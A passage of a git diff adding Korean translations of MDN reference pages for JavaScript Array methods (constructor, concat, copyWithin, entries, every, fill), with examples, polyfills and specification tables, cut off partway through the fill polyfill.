+ <dd><code>Array</code> 생성자에 제공한 유일한 매개변수가 0에서 2<sup>32</sup>-1 이하의 정수인 경우, <code>length</code> 속성이 해당 값인 새로운 JavaScript 배열을 생성합니다. (<strong>참고:</strong> 이렇게 생성한 배열은 <code>arrayLength</code> 만큼의 빈 슬롯을 가지는 것으로, 실제 {{jsxref("undefined")}}를 채우는 것이 아닙니다.) 값이 범위 밖이거나 정수가 아닌 경우 {{jsxref("RangeError")}}가 발생합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="배열_리터럴_표기법">배열 리터럴 표기법</h3>
+
+<p>배열은 <a href="/ko/docs/Web/JavaScript/Reference/Lexical_grammar#배열_리터럴">리터럴 표기법</a>으로 생성할 수도 있습니다.</p>
+
+<pre class="brush: js">let fruits = ['사과', '바나나']
+
+console.log(fruits.length) // 2
+console.log(fruits[0]) // "사과"
+</pre>
+
+<h3 id="단일_매개변수_배열_생성자">단일 매개변수 배열 생성자</h3>
+
+<p>배열을 생성자와 하나의 숫자 매개변수로 생성할 수 있습니다. 그 결과는 <code>length</code>가 매개변수고, 길이만큼의 빈 슬롯을 가진 배열입니다.</p>
+
+<pre class="brush: js">let fruits = new Array(2)
+
+console.log(fruits.length) // 2
+console.log(fruits[0]) // undefined
+</pre>
+
+<h3 id="복수_매개변수_배열_생성자">복수 매개변수 배열 생성자</h3>
+
+<p>생성자에 두 개 이상의 매개변수를 제공할 경우, 매개변수를 원소로 하는 새로운 배열을 생성합니다.</p>
+
+<pre class="brush: js">let fruits = new Array('사과', '바나나')
+
+console.log(fruits.length) // 2
+console.log(fruits[0]) // "사과"
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array-constructor', 'Array constructor')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Array.Array")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array")}} 클래스</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/concat/index.html b/files/ko/web/javascript/reference/global_objects/array/concat/index.html
new file mode 100644
index 0000000000..b35f040632
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/concat/index.html
@@ -0,0 +1,138 @@
+---
+title: Array.prototype.concat()
+slug: Web/JavaScript/Reference/Global_Objects/Array/concat
+tags:
+ - Array
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/concat
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>concat()</strong></code> 메서드는 인자로 주어진 배열이나 값들을 기존 배열에 합쳐서 새 배열을 반환합니다. </p>
+
+<ul>
+ <li>기존배열을 변경하지 않습니다. </li>
+ <li> 추가된 새로운 배열을 반환합니다.</li>
+</ul>
+
+<div>{{EmbedInteractiveExample("pages/js/array-concat.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>array</var>.concat([value1[, value2[, ...[, <var>valueN</var>]]]])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<ul>
+ <li>배열 또는 값 </li>
+ <li>만약 value1 ~ valueN 인자를 생략하면 기존배열의 얕은 복사본을 반환.</li>
+</ul>
+
+<dl>
+ <dt><code>valueN</code> {{optional_inline}}</dt>
+ <dd>자세한 내용은 아래 설명을 참고하세요.</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>새로운 {{jsxref("Array")}} 객체.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>concat</code>은 메서드를 호출한 배열 뒤에 각 인수를 순서대로 붙여 새로운 배열을 만듭니다. 인수가 배열이면 그 구성요소가 순서대로 붙고, 배열이 아니면 인수 자체가 붙습니다. 중첩 배열 내부로 재귀하지 않습니다.</p>
+
+<p><code>concat</code>은 <code>this</code>나 인수로 넘겨진 배열의 내용을 바꾸지 않고, 대신 주어진 배열을 합친 뒤 그 얕은 사본을 반환합니다. 새 배열에는 원본 배열의 요소를 다음과 같은 방법으로 복사합니다.</p>
+
+<ul>
+ <li>실제 객체가 아닌 객체 참조: <code>concat</code>은 새 배열에 참조를 복사합니다. 원본 배열과 새 배열에서 같은 객체를 가리키게 됩니다. 즉, 참조하는 객체를 수정하면 그 내용이 새 배열과 원본 배열 둘 다에서 나타납니다.</li>
+ <li>문자열, 숫자, 불리언 등 자료형({{jsxref("String")}}, {{jsxref("Number")}}, {{jsxref("Boolean")}} 객체 아님): <code>concat</code>은 새 배열에 문자열과 수의 값을 복사합니다.</li>
+</ul>
+
+<div class="note">
+<p><strong>참고:</strong> 배열이나 값을 이어붙여도 원본은 변하지 않으며, 새로운 배열이나 원본 배열을 조작해도 서로 영향을 받지 않습니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="배열_두_개_이어붙이기">배열 두 개 이어붙이기</h3>
+
+<p>다음 예제는 두 개의 배열을 이어붙입니다.</p>
+
+<pre class="brush: js">const alpha = ['a', 'b', 'c'];
+const numeric = [1, 2, 3];
+
+alpha.concat(numeric);
+// 결과: ['a', 'b', 'c', 1, 2, 3]
+</pre>
+
+<h3 id="배열_세_개_이어붙이기">배열 세 개 이어붙이기</h3>
+
+<p>다음 예제는 세 개의 배열을 이어붙입니다.</p>
+
+<pre class="brush: js">const num1 = [1, 2, 3];
+const num2 = [4, 5, 6];
+const num3 = [7, 8, 9];
+
+num1.concat(num2, num3);
+// 결과: [1, 2, 3, 4, 5, 6, 7, 8, 9]
+</pre>
+
+<h3 id="배열에_값_이어붙이기">배열에 값 이어붙이기</h3>
+
+<p>다음 코드는 배열에 세 개의 값을 이어붙입니다.</p>
+
+<pre class="brush: js">const alpha = ['a', 'b', 'c'];
+
+alpha.concat(1, [2, 3]);
+// 결과: ['a', 'b', 'c', 1, 2, 3]
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">표준</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>최초 정의. JavaScript 1.2에서 구현됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.4.4.4', 'Array.prototype.concat')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.prototype.concat', 'Array.prototype.concat')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.concat', 'Array.prototype.concat')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Array.concat")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.push", "push")}} / {{jsxref("Array.pop", "pop")}} — 배열의 뒤에 요소 추가/제거</li>
+ <li>{{jsxref("Array.unshift", "unshift")}} / {{jsxref("Array.shift", "shift")}} — 배열의 앞에 요소 추가/제거</li>
+ <li>{{jsxref("Array.splice", "splice")}} — 배열의 특정 위치에 요소 추가/제거</li>
+ <li>{{jsxref("String.prototype.concat()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/copywithin/index.html b/files/ko/web/javascript/reference/global_objects/array/copywithin/index.html
new file mode 100644
index 0000000000..7d6c2cdf8b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/copywithin/index.html
@@ -0,0 +1,183 @@
+---
+title: Array.prototype.copyWithin()
+slug: Web/JavaScript/Reference/Global_Objects/Array/copyWithin
+tags:
+ - Array
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/copyWithin
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>copyWithin()</code></strong> 메서드는 배열의 일부를 얕게 복사한 뒤, 동일한 배열의 다른 위치에 덮어쓰고 그 배열을 반환합니다. 이 때, 크기(배열의 길이)를 수정하지 않고 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-copywithin.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.copyWithin(<var>target[, start[, end]]</var>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>복사한 시퀀스(값)를 넣을 위치를 가리키는 0 기반 인덱스. 음수를 지정하면 인덱스를 배열의 끝에서부터 계산합니다.<br>
+ <br>
+ <code>target</code>이 <code>arr.length</code>보다 크거나 같으면 아무것도 복사하지 않습니다. <code>target</code>이 <code>start</code> 이후라면 복사한 시퀀스를 <code>arr.length</code>에 맞춰 자릅니다.</dd>
+ <dt><code>start</code> {{optional_inline}}</dt>
+ <dd>복사를 시작할 위치를 가리키는 0 기반 인덱스. 음수를 지정하면 인덱스를 배열의 끝에서부터 계산합니다.<br>
+ <br>
+ 기본값은 0으로, <code>start</code>를 지정하지 않으면 배열의 처음부터 복사합니다.</dd>
+ <dt><code>end</code> {{optional_inline}}</dt>
+ <dd>복사를 끝낼 위치를 가리키는 0 기반 인덱스. <code>copyWithin</code>은 <code>end</code> 인덱스 이전까지 복사하므로 <code>end</code> 인덱스가 가리키는 요소는 제외합니다. 음수를 지정하면 인덱스를 배열의 끝에서부터 계산합니다.<br>
+ <br>
+ 기본값은 <code>arr.length</code>로, <code>end</code>를 지정하지 않으면 배열의 끝까지 복사합니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>수정한 배열.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>copyWithin</code>은 C와 C++의 <code>memmove</code>처럼 작동하고, 복사와 대입이 하나의 연산에서 이루어지므로 {{jsxref("Array")}}의 데이터를 이동할 때 사용할 수 있는 고성능 메서드입니다. {{jsxref("TypedArray.prototype.copyWithin()", "TypedArray")}}의 동명 메서드에서 이 특징이 두드러집니다. 붙여넣은 시퀀스의 위치가 복사한 범위와 겹치더라도 최종 결과는 원본 배열에서 복사한 것과 같습니다.</p>
+
+<p><code>copyWithin</code> 함수는 제네릭 함수로, <code>this</code> 값이 {{jsxref("Array")}} 객체일 필요는 없습니다.</p>
+
+<p><code>copyWithin</code> 메서드는 변경자 메서드로, <code>this</code>의 길이는 바꾸지 않지만 내용을 바꾸며 필요하다면 새로운 속성을 생성합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">[1, 2, 3, 4, 5].copyWithin(-2);
+// [1, 2, 3, 1, 2]
+
+[1, 2, 3, 4, 5].copyWithin(0, 3);
+// [4, 5, 3, 4, 5]
+
+[1, 2, 3, 4, 5].copyWithin(0, 3, 4);
+// [4, 2, 3, 4, 5]
+
+[1, 2, 3, 4, 5].copyWithin(-2, -3, -1);
+// [1, 2, 3, 3, 4]
+
+[].copyWithin.call({length: 5, 3: 1}, 0, 3);
+// {0: 1, 3: 1, length: 5}
+
+// ES2015 TypedArray는 Array의 하위 클래스
+var i32a = new Int32Array([1, 2, 3, 4, 5]);
+
+i32a.copyWithin(0, 2);
+// Int32Array [3, 4, 5, 4, 5]
+
+// 아직 ES2015를 사용할 수 없는 환경에서
+[].copyWithin.call(new Int32Array([1, 2, 3, 4, 5]), 0, 3, 4);
+// Int32Array [4, 2, 3, 4, 5]
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<pre><code>if (!Array.prototype.copyWithin) {
+ Array.prototype.copyWithin = function(target, start/*, end*/) {
+ // Steps 1-2.
+ if (this == null) {
+ throw new TypeError('this is null or not defined');
+ }
+
+ var O = Object(this);
+
+ // Steps 3-5.
+ var len = O.length &gt;&gt;&gt; 0;
+
+ // Steps 6-8.
+ var relativeTarget = target &gt;&gt; 0;
+
+ var to = relativeTarget &lt; 0 ?
+ Math.max(len + relativeTarget, 0) :
+ Math.min(relativeTarget, len);
+
+ // Steps 9-11.
+ var relativeStart = start &gt;&gt; 0;
+
+ var from = relativeStart &lt; 0 ?
+ Math.max(len + relativeStart, 0) :
+ Math.min(relativeStart, len);
+
+ // Steps 12-14.
+ var end = arguments[2];
+ var relativeEnd = end === undefined ? len : end &gt;&gt; 0;
+
+ var final = relativeEnd &lt; 0 ?
+ Math.max(len + relativeEnd, 0) :
+ Math.min(relativeEnd, len);
+
+ // Step 15.
+ var count = Math.min(final - from, len - to);
+
+ // Steps 16-17.
+ var direction = 1;
+
+ if (from &lt; to &amp;&amp; to &lt; (from + count)) {
+ direction = -1;
+ from += count - 1;
+ to += count - 1;
+ }
+
+   // Step 18.
+    while (count &gt; 0) {
+      if (from in O) {
+        O[to] = O[from];
+      } else {
+        delete O[to];
+      }
+
+      from += direction;
+      to += direction;
+      count--;
+    }
+
+    // Step 19.
+    return O;
+  };
+}</code></pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES7', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}}</td>
+ <td>{{Spec2('ES7')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Array.copyWithin")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/entries/index.html b/files/ko/web/javascript/reference/global_objects/array/entries/index.html
new file mode 100644
index 0000000000..316886c261
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/entries/index.html
@@ -0,0 +1,89 @@
+---
+title: Array.prototype.entries()
+slug: Web/JavaScript/Reference/Global_Objects/Array/entries
+tags:
+ - Array
+ - ECMAScript 2015
+ - Iterator
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/entries
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>entries()</strong></code> 메서드는 배열의 각 인덱스에 대한 키/값 쌍을 가지는 새로운 <code><strong>Array Iterator</strong></code><strong> </strong>객체를 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-entries.html")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><code><var>arr</var>.entries()</code>
+</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{jsxref("Array")}} 반복자 인스턴스 객체.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="인덱스와_요소_이터레이팅">인덱스와 요소 이터레이팅</h3>
+
+<pre class="notranslate">const a = ['a', 'b', 'c'];
+
+for (const [index, element] of a.entries())
+ console.log(index, element);
+
+// 0 'a'
+// 1 'b'
+// 2 'c'</pre>
+
+<h3 id="for…of_루프_사용"><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for…of</a> 루프 사용</h3>
+
+<pre class="brush:js notranslate">var a = ['a', 'b', 'c'];
+var iterator = a.entries();
+
+for (let e of iterator) {
+ console.log(e);
+}
+// [0, 'a']
+// [1, 'b']
+// [2, 'c']
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.entries', 'Array.prototype.entries')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성"><span>브라우저 호환성</span></h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.entries")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.keys()")}}</li>
+ <li>{{jsxref("Array.prototype.values()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols">Iteration protocols</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/every/index.html b/files/ko/web/javascript/reference/global_objects/array/every/index.html
new file mode 100644
index 0000000000..827b81e760
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/every/index.html
@@ -0,0 +1,191 @@
+---
+title: Array.prototype.every()
+slug: Web/JavaScript/Reference/Global_Objects/Array/every
+tags:
+ - Array
+ - ECMAScript 5
+ - JavaScript
+ - Method
+ - Prototype
+ - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/every
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>every()</strong></code> 메서드는 배열 안의 모든 요소가 주어진 판별 함수를 통과하는지 테스트합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 빈 배열에서 호출하면 무조건 <code>true</code>를 반환합니다.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/array-every.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.every(<var>callback</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>각 요소를 시험할 함수. 다음 세 가지 인수를 받습니다.
+ <dl>
+ <dt><code>currentValue</code></dt>
+ <dd>처리할 현재 요소.</dd>
+ <dt><code>index</code> {{Optional_inline}}</dt>
+ <dd>처리할 현재 요소의 인덱스.</dd>
+ <dt><code>array</code> {{Optional_inline}}</dt>
+ <dd><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">every</span></font>를 호출한 배열.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code> {{Optional_inline}}</dt>
+ <dd><code>callback</code>을 실행할 때 <code>this</code>로 사용하는 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>callback</code>이 모든 배열 요소에 대해 참({{Glossary("truthy")}})인 값을 반환하는 경우 <code><strong>true</strong></code>, 그 외엔 <code><strong>false</strong></code>.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>every</code>는 <code>callback</code>이 {{glossary("falsy", "거짓")}}을 반환하는 요소를 찾을 때까지 배열에 있는 각 요소에 대해 한 번씩 <code>callback</code> 함수를 실행합니다. 해당하는 요소를 발견한 경우 <code>every</code>는 즉시 <code>false</code>를 반환합니다. 그렇지 않으면, 즉 모든 값에서 참을 반환하면 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">true</span></font>를 반환합니다. 할당한 값이 있는 배열의 인덱스에서만 <code>callback</code>을 호출합니다. 삭제했거나 값을 할당한 적이 없는 인덱스에서는 호출하지 않습니다.</p>
+
+<p><code>callback</code>은 요소의 값, 해당 요소의 인덱스 및 순회하고 있는 배열 세 가지 인수와 함께 호출됩니다.</p>
+
+<p><code>thisArg</code> 매개변수를 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">every</span></font>에 제공한 경우 <code>callback</code>의 <code>this</code>로 사용됩니다. 그 외엔 {{jsxref("undefined")}}값을 사용합니다. 최종적으로 <code>callback</code>이 볼 수 있는 <code>this</code>의 값은 <a href="/ko/docs/Web/JavaScript/Reference/Operators/this">함수가 볼 수 있는 <code>this</code>를 결정하는 평소 규칙</a>을 따릅니다.</p>
+
+<p><code>every</code>는 호출한 배열을 변형하지 않습니다.</p>
+
+<p><code>every</code>가 처리하는 요소의 범위는 <code>callback</code>의 첫 호출 전에 설정됩니다. <code>every</code> 호출 이후로 배열에 추가하는 요소는 <code>callback</code>이 방문하지 않습니다. 배열에 원래 있었지만 아직 방문하지 않은 요소가 <code>callback</code>에 의해 변경된 경우, 그 인덱스를 방문하는 시점의 값을 사용합니다. 삭제한 요소는 방문하지 않습니다.</p>
+
+<p><code>every</code>는 (이산)수학에서 전칭(∀) 정량자<sup>quantifier</sup>(한정자)처럼 행동합니다. 특히, 빈 배열에 대해서는 <code>true</code>를 반환합니다. (이는 <a href="http://en.wikipedia.org/wiki/Empty_set#Common_problems">공집합</a>의 모든 요소가 어떠한 주어진 조건도 만족하는 <a href="http://en.wikipedia.org/wiki/Vacuous_truth#Vacuous_truths_in_mathematics" title="vacuously true">공허한 참</a>입니다.)</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="모든_배열_요소의_크기_테스트">모든 배열 요소의 크기 테스트</h3>
+
+<p>다음 예는 배열의 모든 요소가 10보다 더 큰지 테스트합니다.</p>
+
+<pre class="brush: js">function isBigEnough(element, index, array) {
+ return element &gt;= 10;
+}
+[12, 5, 8, 130, 44].every(isBigEnough); // false
+[12, 54, 18, 130, 44].every(isBigEnough); // true
+</pre>
+
+<h3 id="화살표_함수_사용">화살표 함수 사용</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Functions/애로우_펑션">화살표 함수</a>는 같은 테스트에 대해 더 짧은 구문을 제공합니다.</p>
+
+<pre class="brush: js">[12, 5, 8, 130, 44].every(elem =&gt; elem &gt;= 10); // false
+[12, 54, 18, 130, 44].every(elem =&gt; elem &gt;= 10); // true</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p><code>every</code>는 ECMA-262 표준 제5판에 추가됐으므로 어떤 표준 구현체에서는 사용하지 못할 수도 있습니다. 다른 모든 코드 이전에 아래 코드를 포함하면 <code>every</code>를 지원하지 않는 환경에서도 사용할 수 있습니다. 아래 알고리즘은 {{jsxref("Object")}}와 {{jsxref("TypeError")}}가 변형되지 않고, <code>callbackfn.call</code>의 계산 값이 원래의 {{jsxref("Function.prototype.call()")}}과 같은 경우 ECMA-262 제5판이 명시한 것과 동일합니다.</p>
+
+<pre class="brush: js">if (!Array.prototype.every) {
+ Array.prototype.every = function(callbackfn, thisArg) {
+ 'use strict';
+ var T, k;
+
+ if (this == null) {
+ throw new TypeError('this is null or not defined');
+ }
+
+ // 1. Let O be the result of calling ToObject passing the this
+ // value as the argument.
+ var O = Object(this);
+
+ // 2. Let lenValue be the result of calling the Get internal method
+ // of O with the argument "length".
+ // 3. Let len be ToUint32(lenValue).
+ var len = O.length &gt;&gt;&gt; 0;
+
+ // 4. If IsCallable(callbackfn) is false, throw a TypeError exception.
+ if (typeof callbackfn !== 'function') {
+ throw new TypeError();
+ }
+
+ // 5. If thisArg was supplied, let T be thisArg; else let T be undefined.
+ if (arguments.length &gt; 1) {
+ T = thisArg;
+ }
+
+ // 6. Let k be 0.
+ k = 0;
+
+ // 7. Repeat, while k &lt; len
+ while (k &lt; len) {
+
+ var kValue;
+
+ // a. Let Pk be ToString(k).
+ // This is implicit for LHS operands of the in operator
+ // b. Let kPresent be the result of calling the HasProperty internal
+ // method of O with argument Pk.
+ // This step can be combined with c
+ // c. If kPresent is true, then
+ if (k in O) {
+
+ // i. Let kValue be the result of calling the Get internal method
+ // of O with argument Pk.
+ kValue = O[k];
+
+ // ii. Let testResult be the result of calling the Call internal method
+ // of callbackfn with T as the this value and argument list
+ // containing kValue, k, and O.
+ var testResult = callbackfn.call(T, kValue, k, O);
+
+ // iii. If ToBoolean(testResult) is false, return false.
+ if (!testResult) {
+ return false;
+ }
+ }
+ k++;
+ }
+ return true;
+ };
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.4.4.16', 'Array.prototype.every')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>초기 정의. JavaScript 1.6에서 구현됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.prototype.every', 'Array.prototype.every')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.every', 'Array.prototype.every')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Array.every")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.every()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/fill/index.html b/files/ko/web/javascript/reference/global_objects/array/fill/index.html
new file mode 100644
index 0000000000..5a18af7d24
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/fill/index.html
@@ -0,0 +1,146 @@
+---
+title: Array.prototype.fill()
+slug: Web/JavaScript/Reference/Global_Objects/Array/fill
+tags:
+ - Array
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Prototype
+ - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/fill
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>fill()</strong></code> 메서드는 배열의 시작 인덱스부터 끝 인덱스의 이전까지 정적인 값 하나로 채웁니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-fill.html")}}</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.fill(<var>value</var>[, <var>start<var>[, <var>end</var>]])</var></var></code></pre>
+
+<h3 id="Parameters" name="Parameters">매개변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>배열을 채울 값.</dd>
+ <dt><code>start</code> {{optional_inline}}</dt>
+ <dd>시작 인덱스, 기본 값은 0.</dd>
+ <dt><code>end</code> {{optional_inline}}</dt>
+ <dd>끝 인덱스, 기본 값은 <code>this.length</code>.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>변형한 배열.</p>
+
+<h2 id="Description" name="Description">설명 </h2>
+
+<p><code>fill</code> 메서드는 <code>value</code>, <code>start</code>, <code>end</code>의 3개 인자를 가집니다. <code>start</code>와 <code>end</code> 인자는 선택 사항으로써 기본값으로 각각 <code>0</code>과, <code>this</code> 객체의 <code>length</code>를 가집니다.</p>
+
+<p><code>length</code>가 배열의 길이일 때, <code>start</code>가 음수이면 시작 인덱스는 <code>length+start</code>입니다. <code>end</code>가 음수이면 끝 인덱스는 <code>length+end</code>입니다.</p>
+
+<p><code>fill</code>은 일반 함수이며, <code>this</code> 값이 배열 객체일 필요는 없습니다.</p>
+
+<p><code>fill</code> 메서드는 변경자 메서드로, 복사본이 아니라 <code>this</code> 객체를 변형해 반환합니다.</p>
+
+<p><code>value</code>에 객체를 받을 경우 그 참조만 복사해서 배열을 채웁니다.</p>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<pre class="brush: js">[1, 2, 3].fill(4); // [4, 4, 4]
+[1, 2, 3].fill(4, 1); // [1, 4, 4]
+[1, 2, 3].fill(4, 1, 2); // [1, 4, 3]
+[1, 2, 3].fill(4, 1, 1); // [1, 2, 3]
+[1, 2, 3].fill(4, 3, 3); // [1, 2, 3]
+[1, 2, 3].fill(4, -3, -2); // [4, 2, 3]
+[1, 2, 3].fill(4, NaN, NaN); // [1, 2, 3]
+[1, 2, 3].fill(4, 3, 5); // [1, 2, 3]
+Array(3).fill(4); // [4, 4, 4]
+[].fill.call({ length: 3 }, 4); // {0: 4, 1: 4, 2: 4, length: 3}
+
+// Objects by reference.
+var arr = Array(3).fill({}); // [{}, {}, {}]
+arr[0].hi = "hi"; // [{ hi: "hi" }, { hi: "hi" }, { hi: "hi" }]
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">폴리필</h2>
+
+<pre><code>if (!Array.prototype.fill) {
+ Object.defineProperty(Array.prototype, 'fill', {
+ value: function(value) {
+
+ // Steps 1-2.
+ if (this == null) {
+ throw new TypeError('this is null or not defined');
+ }
+
+ var O = Object(this);
+
+ // Steps 3-5.
+ var len = O.length &gt;&gt;&gt; 0;
+
+ // Steps 6-7.
+ var start = arguments[1];
+ var relativeStart = start &gt;&gt; 0;
+
+ // Step 8.
+ var k = relativeStart &lt; 0 ?
+ Math.max(len + relativeStart, 0) :
+ Math.min(relativeStart, len);
+
+ // Steps 9-10.
+ var end = arguments[2];
+ var relativeEnd = end === undefined ?
